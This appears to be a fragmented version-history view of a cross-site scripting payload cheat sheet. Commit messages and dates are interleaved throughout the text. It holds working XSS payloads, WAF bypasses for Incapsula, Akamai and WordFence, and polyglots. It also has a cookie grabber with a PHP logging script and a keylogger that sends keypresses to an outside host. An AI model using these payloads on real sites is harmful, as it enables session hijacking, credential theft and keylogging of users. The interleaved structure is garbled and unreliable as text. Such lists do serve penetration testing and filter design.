Live example by @brutelogic - [https://brutelogic.com.br/xss.php](https://brutelogic.com.br/xss.php?c1=</script><svg><script>alert(1)-%26apos%3B)

### Incapsula WAF Bypass by [@Alra3ees](https://twitter.com/Alra3ees/status/971847839931338752)- 8th march

```javascript
anythinglr00</script><script>alert(document.domain)</script>uxldz

anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz
```

### Incapsula WAF Bypass by [@c0d3G33k](https://twitter.com/c0d3G33k) - 11th september

```javascript
<object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object>
```

### Akamai WAF Bypass by [@zseano](https://twitter.com/zseano) - 18th june

```javascript
?"></script><base%20c%3D=href%3Dhttps:\mysite>
```

### Akamai WAF Bypass by [@s0md3v](https://twitter.com/s0md3v/status/1056447131362324480) - 28th october

```html
<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>
```

### WordFence WAF Bypass by [@brutelogic](https://twitter.com/brutelogic) - 12th september

```javascript
<a href=javas&#99;ript:alert(1)>
```

## More fun

This section will be used for the "fun/interesting/useless" stuff.

Use notification box instead of an alert - by [@brutelogic](https://twitter.com/brutelogic)
Note : it requires user permission

```javascript
Notification.requestPermission(x=>{new(Notification)(1)})
```

Try here : [https://brutelogic.com.br/xss.php](https://brutelogic.com.br/xss.php?c3=%27;Notification.requestPermission(x=>%7Bnew(Notification)(1)%7D)//)

## Thanks to

- [Unleashing-an-Ultimate-XSS-Polyglot](https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot)
- tbm
- [(Relative Path Overwrite) RPO XSS - Infinite Security](http://infinite8security.blogspot.com/2016/02/welcome-readers-as-i-promised-this-post.html)
- [RPO TheSpanner](http://www.thespanner.co.uk/2014/03/21/rpo/)
- [RPO Gadget - innerthmtl](http://blog.innerht.ml/rpo-gadgets/)
- [Relative Path Overwrite - Detectify](http://support.detectify.com/customer/portal/articles/2088351-relative-path-overwrite)
- [XSS ghettoBypass - d3adend](http://d3adend.org/xss/ghettoBypass)
- [XSS without HTML: Client-Side Template Injection with AngularJS](http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html)
- [XSSING WEB PART - 2 - Rakesh Mane](http://blog.rakeshmane.com/2017/08/xssing-web-part-2.html)
- [Making an XSS triggered by CSP bypass on Twitter. @tbmnull](https://medium.com/@tbmnull/making-an-xss-triggered-by-csp-bypass-on-twitter-561f107be3e5)
- [Ways to alert(document.domain) - @tomnomnom](https://gist.github.com/tomnomnom/14a918f707ef0685fdebd90545580309)
-												XSS payloads

											
										
										
											2016-10-19 16:39:07 +00:00
+								# Cross Site Scripting
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												More payloads for XSS/SQL/LFI/Upload and XXE

											
										
										
											2017-06-04 15:22:26 +00:00
+								Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users.
-												Init directory with README

											
										
										
											2016-10-18 08:01:56 +00:00
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
+								- [Exploit code or POC](#exploit-code-or-poc)
 								- [Identify an XSS endpoint](#identify-an-xss-endpoint)
 								- [XSS in HTML/Applications](#xss-in-htmlapplications)
 								- [XSS in wrappers javascript and data URI](#xss-in-wrappers-javascript-and-data-uri)
-												Cassandra SQL + XSS MD + PHP Type Juggling

											
										
										
											2018-09-10 18:40:43 +00:00
+								- [XSS in files (XML/SVG/CSS/Flash/Markdown)](#xss-in-files)
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
+								- [Polyglot XSS](#polyglot-xss)
 								- [Filter Bypass and Exotic payloads](#filter-bypass-and-exotic-payloads)
-												XSS CSP Bypass + PostgreSQL read/write

											
										
										
											2018-09-01 13:36:33 +00:00
+								- [CSP Bypas](#csp-bypass)
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
+								- [Common WAF Bypas](#common-waf-bypass)
-												Refactoring XSS 0/?

											
										
										
											2018-03-23 12:53:53 +00:00
-												XSS payloads

											
										
										
											2016-10-19 16:39:07 +00:00
+								## Exploit code or POC
-												Init directory with README

											
										
										
											2016-10-18 08:01:56 +00:00
-												XSS payloads

											
										
										
											2016-10-19 16:39:07 +00:00
+								Cookie grabber for XSS
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```php
-												More payloads for XSS/SQL/LFI/Upload and XXE

											
										
										
											2017-06-04 15:22:26 +00:00
+								<?php
-												XSS payloads

											
										
										
											2016-10-19 16:39:07 +00:00
+								// How to use it
-												LDAP userPassword attribute

											
										
										
											2018-10-31 21:34:10 +00:00
+								<script>document.location='http://localhost/XSS/grabber.php?c='+document.cookie</script>
 								or
 								<script>new Image().src="http://localhost/cookie.php?c="+document.cookie;</script>
-												XSS payloads

											
										
										
											2016-10-19 16:39:07 +00:00
 								// Write the cookie in a file
 								$cookie = $_GET['c'];
 								$fp = fopen('cookies.txt', 'a+');
 								fwrite($fp, 'Cookie:' .$cookie.'\r\n');
 								fclose($fp);
 								?>
 								```
-												XSS Intruder + Eicar + SSRF http://0

											
										
										
											2017-07-30 11:17:00 +00:00
+								Keylogger for XSS
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												Markdown formatting - Part 3

											
										
										
											2018-08-13 11:07:37 +00:00
+								```javascript
-												XSS Intruder + Eicar + SSRF http://0

											
										
										
											2017-07-30 11:17:00 +00:00
+								<img src=x onerror='document.onkeypress=function(e){fetch("http://domain.com?k="+String.fromCharCode(e.which))},this.remove();'>
 								```
-												Fix README broken links

											
										
										
											2018-03-25 21:51:22 +00:00
+								More exploits at [http://www.xss-payloads.com/payloads-list.html?a#category=all](http://www.xss-payloads.com/payloads-list.html?a#category=all):
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
+								- [Taking screenshots using XSS and the HTML5 Canvas](https://www.idontplaydarts.com/2012/04/taking-screenshots-using-xss-and-the-html5-canvas/)
 								- [JavaScript Port Scanner](http://www.gnucitizen.org/blog/javascript-port-scanner/)
 								- [Network Scanner](http://www.xss-payloads.com/payloads/scripts/websocketsnetworkscan.js.html)
 								- [.NET Shell execution](http://www.xss-payloads.com/payloads/scripts/dotnetexec.js.html)
 								- [Redirect Form](http://www.xss-payloads.com/payloads/scripts/redirectform.js.html)
 								- [Play Music](http://www.xss-payloads.com/payloads/scripts/playmusic.js.html)
-												Fix README broken links

											
										
										
											2018-03-25 21:51:22 +00:00
-												File inclusion - more intruders

											
										
										
											2017-10-21 14:48:17 +00:00
+								## Identify an XSS endpoint
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												File inclusion - more intruders

											
										
										
											2017-10-21 14:48:17 +00:00
+								<script>debugger;</script>
 								```
-												More payloads for XSS/SQL/LFI/Upload and XXE

											
										
										
											2017-06-04 15:22:26 +00:00
+								## XSS in HTML/Applications
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS payloads

											
										
										
											2016-10-19 16:39:07 +00:00
+								XSS Basic
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												XSS payloads

											
										
										
											2016-10-19 16:39:07 +00:00
+								Basic payload
 								<script>alert('XSS')</script>
 								<scr<script>ipt>alert('XSS')</scr<script>ipt>
 								"><script>alert('XSS')</script>
 								"><script>alert(String.fromCharCode(88,83,83))</script>
 								Img payload
 								<img src=x onerror=alert('XSS');>
-												Multiple update - LFI/RCE via phpinfo, Struts2 v2

											
										
										
											2017-09-13 21:55:29 +00:00
+								<img src=x onerror=alert('XSS')//
-												XSS payloads

											
										
										
											2016-10-19 16:39:07 +00:00
+								<img src=x onerror=alert(String.fromCharCode(88,83,83));>
 								<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
 								<img src=x:alert(alt) onerror=eval(src) alt=xss>
 								"><img src=x onerror=alert('XSS');>
 								"><img src=x onerror=alert(String.fromCharCode(88,83,83));>
 								Svg payload
 								<svgonload=alert(1)>
 								<svg/onload=alert('XSS')>
-												Multiple update - LFI/RCE via phpinfo, Struts2 v2

											
										
										
											2017-09-13 21:55:29 +00:00
+								<svg onload=alert(1)//
-												XSS payloads

											
										
										
											2016-10-19 16:39:07 +00:00
+								<svg/onload=alert(String.fromCharCode(88,83,83))>
 								<svg id=alert(1) onload=eval(id)>
 								"><svg/onload=alert(String.fromCharCode(88,83,83))>
 								"><svg/onload=alert(/XSS/)
 								```
 								XSS for HTML5
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												XXE renamed, little updates in SQL/Include + enum

											
										
										
											2016-11-03 16:56:15 +00:00
+								<body onload=alert(/XSS/.source)>
-												XSS payloads

											
										
										
											2016-10-19 16:39:07 +00:00
+								<input autofocus onfocus=alert(1)>
 								<select autofocus onfocus=alert(1)>
 								<textarea autofocus onfocus=alert(1)>
 								<keygen autofocus onfocus=alert(1)>
 								<video/poster/onerror=alert(1)>
 								<video><source onerror="javascript:alert(1)">
 								<video src=_ onloadstart="alert(1)">
-												XXE renamed, little updates in SQL/Include + enum

											
										
										
											2016-11-03 16:56:15 +00:00
+								<details/open/ontoggle="alert`1`">
 								<audio src onloadstart=alert(1)>
 								<marquee onstart=alert(1)>
-												Script Docker RCE

											
										
										
											2018-10-18 15:32:01 +00:00
+								<meter value=2 min=0 max=10 onmouseover=alert(1)>2 out of 10</meter>
 								<body ontouchstart=alert(1)> // Triggers when a finger touch the screen
 								<body ontouchend=alert(1)>   // Triggers when a finger is removed from touch screen
 								<body ontouchmove=alert(1)>  // When a finger is dragged across the screen.
-												XSS payloads

											
										
										
											2016-10-19 16:39:07 +00:00
+								```
-												SQLmap tips + Active Directory attacks + SQLite injections

											
										
										
											2018-03-12 08:17:31 +00:00
+								XSS using script tag (external payload)
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												SQLmap tips + Active Directory attacks + SQLite injections

											
										
										
											2018-03-12 08:17:31 +00:00
+								<script src=14.rs>
-												Update README.md

Correct misspelling
											
										
										
											2018-07-31 09:02:38 +00:00
+								you can also specify an arbitratry payload with 14.rs/#payload
-												SQLmap tips + Active Directory attacks + SQLite injections

											
										
										
											2018-03-12 08:17:31 +00:00
+								e.g: 14.rs/#alert(document.domain)
 								```
-												XSS payloads

											
										
										
											2016-10-19 16:39:07 +00:00
 								XSS in META tag
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												XSS payloads

											
										
										
											2016-10-19 16:39:07 +00:00
+								Base64 encoded
 								<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
 								<meta/content="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxMzM3KTwvc2NyaXB0Pg=="http-equiv=refresh>
-												SQL injections payloads separated + OAuth

											
										
										
											2016-11-29 16:27:35 +00:00
+								With an additional URL
-												XSS payloads

											
										
										
											2016-10-19 16:39:07 +00:00
+								<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
 								```
-												Traversal Dir files + Updates XSS

											
										
										
											2016-10-20 23:12:00 +00:00
+								XSS in Hidden input
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												Traversal Dir files + Updates XSS

											
										
										
											2016-10-20 23:12:00 +00:00
+								<input type="hidden" accesskey="X" onclick="alert(1)">
 								Use CTRL+SHIFT+X to trigger the onclick event
 								```
-												XSS payloads

											
										
										
											2016-10-19 16:39:07 +00:00
-												Enumeration added and improvement for CRLF/XSS/SQL

											
										
										
											2016-11-02 13:26:00 +00:00
+								DOM XSS
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												Enumeration added and improvement for CRLF/XSS/SQL

											
										
										
											2016-11-02 13:26:00 +00:00
+								#"><img src=/ onerror=alert(2)>
 								```
-												Traversal Dir + NoSQL major updates + small addons

											
										
										
											2018-02-15 22:27:42 +00:00
+								XSS in JS Context (payload without quote/double quote from [@brutelogic](https://twitter.com/brutelogic)
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												Traversal Dir + NoSQL major updates + small addons

											
										
										
											2018-02-15 22:27:42 +00:00
+								-(confirm)(document.domain)//
 								; alert(1);//
 								```
 								XSS URL
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												Traversal Dir + NoSQL major updates + small addons

											
										
										
											2018-02-15 22:27:42 +00:00
+								URL/<svg onload=alert(1)>
 								URL/<script>alert('XSS');//
 								URL/<input autofocus onfocus=alert(1)>
 								```
-												AWS added, XSS and methodology update

											
										
										
											2016-11-11 09:03:35 +00:00
+								## XSS in wrappers javascript and data URI
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS payloads

											
										
										
											2016-10-19 16:39:07 +00:00
+								XSS with javascript:
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												XSS payloads

											
										
										
											2016-10-19 16:39:07 +00:00
+								javascript:prompt(1)
 								%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2399%26%23111%26%23110%26%23102%26%23105%26%23114%26%23109%26%2340%26%2349%26%2341
 								&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#99&#111&#110&#102&#105&#114&#109&#40&#49&#41
-												Updated XSS,SQL,RCE

											
										
										
											2016-11-17 03:50:34 +00:00
 								We can encode the "javacript:" in Hex/Octal
 								\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)
 								\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1)
 								\152\141\166\141\163\143\162\151\160\164\072alert(1)
 								We can use a 'newline character'
 								java%0ascript:alert(1)   - LF (\n)
 								java%09script:alert(1)   - Horizontal tab (\t)
 								java%0dscript:alert(1)   - CR (\r)
 								Using the escape character
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
-												Updated XSS,SQL,RCE

											
										
										
											2016-11-17 03:50:34 +00:00
-												XSS,SQL OAuth Updated

											
										
										
											2016-12-03 18:03:59 +00:00
+								Using the newline and a comment //
 								javascript://%0Aalert(1)
 								javascript://anything%0D%0A%0D%0Awindow.alert(1)
-												XSS payloads

											
										
										
											2016-10-19 16:39:07 +00:00
+								```
 								XSS with data:
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												AWS added, XSS and methodology update

											
										
										
											2016-11-11 09:03:35 +00:00
+								data:text/html,<script>alert(0)</script>
-												XSS payloads

											
										
										
											2016-10-19 16:39:07 +00:00
+								data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+
-												Payloads - Quick fix

											
										
										
											2018-02-23 12:48:51 +00:00
+								<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
-												XSS payloads

											
										
										
											2016-10-19 16:39:07 +00:00
+								```
-												XSS,SQL OAuth Updated

											
										
										
											2016-12-03 18:03:59 +00:00
+								XSS with vbscript: only IE
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												XSS,SQL OAuth Updated

											
										
										
											2016-12-03 18:03:59 +00:00
+								vbscript:msgbox("XSS")
 								```
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS payloads

											
										
										
											2016-10-19 16:39:07 +00:00
+								## XSS in files
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												SQLmap tips + Active Directory attacks + SQLite injections

											
										
										
											2018-03-12 08:17:31 +00:00
+								** NOTE:** The XML CDATA section is used here so that the JavaScript payload will not be treated as XML markup.
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```xml
-												SQLmap tips + Active Directory attacks + SQLite injections

											
										
										
											2018-03-12 08:17:31 +00:00
+								<name>
 								  <value><![CDATA[<script>confirm(document.domain)</script>]]></value>
 								</name>
 								```
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
+								XSS in XML
-												SQLmap tips + Active Directory attacks + SQLite injections

											
										
										
											2018-03-12 08:17:31 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```xml
-												XSS payloads

											
										
										
											2016-10-19 16:39:07 +00:00
+								<html>
 								<head></head>
 								<body>
 								<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
 								</body>
 								</html>
 								```
 								XSS in SVG
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```xml
-												XSS payloads

											
										
										
											2016-10-19 16:39:07 +00:00
+								<?xml version="1.0" standalone="no"?>
 								<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
 								<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
-												Markdown formatting - Part 2

											
										
										
											2018-08-13 10:01:13 +00:00
+								  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
 								  <script type="text/javascript">
 								    alert(document.domain);
 								  </script>
-												XSS payloads

											
										
										
											2016-10-19 16:39:07 +00:00
+								</svg>
 								```
 								XSS in SVG (short)
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												XSS payloads

											
										
										
											2016-10-19 16:39:07 +00:00
+								<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
-												SVG XSS + SSRF enclosed alphanumerics

											
										
										
											2017-11-19 13:01:36 +00:00
 								<svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg>
 								<svg><foreignObject><![CDATA[</foreignObject><script>alert(2)</script>]]></svg>
 								<svg><title><![CDATA[</title><script>alert(3)</script>]]></svg>
-												XSS payloads

											
										
										
											2016-10-19 16:39:07 +00:00
+								```
-												Methodology added, XSS payloads updated,little fix

											
										
										
											2016-11-06 05:42:50 +00:00
-												Cassandra SQL + XSS MD + PHP Type Juggling

											
										
										
											2018-09-10 18:40:43 +00:00
+								XSS in Markdown
 								```csharp
 								[a](javascript:prompt(document.cookie))
 								[a](j a v a s c r i p t:prompt(document.cookie))
 								[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
 								[a](javascript:window.onerror=alert;throw%201)
 								```
-												Payloads - Quick fix

											
										
										
											2018-02-23 12:48:51 +00:00
+								XSS in SWF flash application
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
 								```powershell
-												Methodology added, XSS payloads updated,little fix

											
										
										
											2016-11-06 05:42:50 +00:00
+								Browsers other than IE: http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain);
 								IE8: http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e){ window.open(‘?js=history.go(-1)’,’_self’);}
 								IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open(‘invalidfileinvalidfileinvalidfile’,’target’);setTimeout(‘alert(w.document.location);w.close();’,1);
 								```
-												XSS payloads

											
										
										
											2016-10-19 16:39:07 +00:00
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
+								more payloads in ./files
-												XSS payloads

											
										
										
											2016-10-19 16:39:07 +00:00
-												Payloads - Quick fix

											
										
										
											2018-02-23 12:48:51 +00:00
+								XSS in SWF flash application
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												Markdown formatting - Part 3

											
										
										
											2018-08-13 11:07:37 +00:00
+								```
-												Payloads - Quick fix

											
										
										
											2018-02-23 12:48:51 +00:00
+								flashmediaelement.swf?jsinitfunctio%gn=alert`1`
 								flashmediaelement.swf?jsinitfunctio%25gn=alert(1)
 								ZeroClipboard.swf?id=\"))} catch(e) {alert(1);}//&width=1000&height=1000
 								swfupload.swf?movieName="]);}catch(e){}if(!self.a)self.a=!alert(1);//
 								swfupload.swf?buttonText=test<a href="javascript:confirm(1)"><img src="https://web.archive.org/web/20130730223443im_/http://appsec.ws/ExploitDB/cMon.jpg"/></a>&.swf
 								plupload.flash.swf?%#target%g=alert&uid%g=XSS&
 								moxieplayer.swf?url=https://github.com/phwd/poc/blob/master/vid.flv?raw=true
 								video-js.swf?readyFunction=alert(1)
 								player.swf?playerready=alert(document.cookie)
 								player.swf?tracecall=alert(document.cookie)
 								banner.swf?clickTAG=javascript:alert(1);//
 								io.swf?yid=\"));}catch(e){alert(1);}//
 								video-js.swf?readyFunction=alert%28document.domain%2b'%20XSSed!'%29
 								bookContent.swf?currentHTMLURL=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4
 								flashcanvas.swf?id=test\"));}catch(e){alert(document.domain)}//
 								phpmyadmin/js/canvg/flashcanvas.swf?id=test\”));}catch(e){alert(document.domain)}//
 								```
-												Refactoring XSS 0/?

											
										
										
											2018-03-23 12:53:53 +00:00
+								XSS in CSS
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```html
-												Refactoring XSS 0/?

											
										
										
											2018-03-23 12:53:53 +00:00
+								<!DOCTYPE html>
-												XSS Update with RPO attack vector

											
										
										
											2016-10-31 07:55:37 +00:00
+								<html>
 								<head>
-												Refactoring XSS 0/?

											
										
										
											2018-03-23 12:53:53 +00:00
+								<style>
 								div  {
 								    background-image: url("data:image/jpg;base64,<\/style><svg/onload=alert(document.domain)>");
 								    background-color: #cccccc;
 								}
 								</style>
-												XSS Update with RPO attack vector

											
										
										
											2016-10-31 07:55:37 +00:00
+								</head>
-												Refactoring XSS 0/?

											
										
										
											2018-03-23 12:53:53 +00:00
+								  <body>
 								    <div>lol</div>
 								  </body>
-												XSS Update with RPO attack vector

											
										
										
											2016-10-31 07:55:37 +00:00
+								</html>
 								```
-												XSS payloads

											
										
										
											2016-10-19 16:39:07 +00:00
+								## Polyglot XSS
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS payloads

											
										
										
											2016-10-19 16:39:07 +00:00
+								Polyglot XSS - 0xsobky
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												XSS payloads

											
										
										
											2016-10-19 16:39:07 +00:00
+								jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
 								```
 								Polyglot XSS - Ashar Javed
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												Markdown formatting - Part 3

											
										
										
											2018-08-13 11:07:37 +00:00
+								">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
-												XSS payloads

											
										
										
											2016-10-19 16:39:07 +00:00
+								```
 								Polyglot XSS - Mathias Karlsson
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												More payloads for XSS/SQL/LFI/Upload and XXE

											
										
										
											2017-06-04 15:22:26 +00:00
+								" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
-												XSS payloads

											
										
										
											2016-10-19 16:39:07 +00:00
+								```
 								Polyglot XSS - Rsnake
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												More payloads for XSS/SQL/LFI/Upload and XXE

											
										
										
											2017-06-04 15:22:26 +00:00
+								';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
 								```
 								Polyglot XSS - Daniel Miessler
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												More payloads for XSS/SQL/LFI/Upload and XXE

											
										
										
											2017-06-04 15:22:26 +00:00
+								javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
 								javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a
 								javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/
 								javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*
 								javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
 								javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//
 								javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*
 								--></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*
 								/</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*
 								javascript://--></title></style></textarea></script><svg "//' onclick=alert()//
 								/</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*
-												XSS payloads

											
										
										
											2016-10-19 16:39:07 +00:00
+								```
-												Payloads - Quick fix

											
										
										
											2018-02-23 12:48:51 +00:00
+								Polyglot XSS - [@s0md3v](https://twitter.com/s0md3v/status/966175714302144514)
 								![https://pbs.twimg.com/media/DWiLk3UX4AE0jJs.jpg](https://pbs.twimg.com/media/DWiLk3UX4AE0jJs.jpg)
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												Payloads - Quick fix

											
										
										
											2018-02-23 12:48:51 +00:00
+								-->'"/></sCript><svG x=">" onload=(co\u006efirm)``>
 								```
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												Payloads - Quick fix

											
										
										
											2018-02-23 12:48:51 +00:00
+								![https://pbs.twimg.com/media/DWfIizMVwAE2b0g.jpg:large](https://pbs.twimg.com/media/DWfIizMVwAE2b0g.jpg:large)
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												Payloads - Quick fix

											
										
										
											2018-02-23 12:48:51 +00:00
+								<svg%0Ao%00nload=%09((pro\u006dpt))()//
 								```
-												Polyglot XSS from @filedescriptor's Polyglot Challenge

											
										
										
											2018-10-31 22:41:11 +00:00
+								Polyglot XSS - from [@filedescriptor's Polyglot Challenge](http://polyglot.innerht.ml)
 								```javascript
 								# by crlf
 								javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
 								# by europa
 								javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/-->&lt;svg/onload=/*<html/*/onmouseover=alert()//>
 								# by EdOverflow
 								javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>-->&lt;svg onload=/*<html/*/onmouseover=alert()//>
 								# by h1/ragnar
 								javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template>&lt;svg/onload='/*--><html */ onmouseover=alert()//'>`
 								```
-												XSS payloads

											
										
										
											2016-10-19 16:39:07 +00:00
+								## Filter Bypass and exotic payloads
-												Traversal Dir files + Updates XSS

											
										
										
											2016-10-20 23:12:00 +00:00
-												AWS added, XSS and methodology update

											
										
										
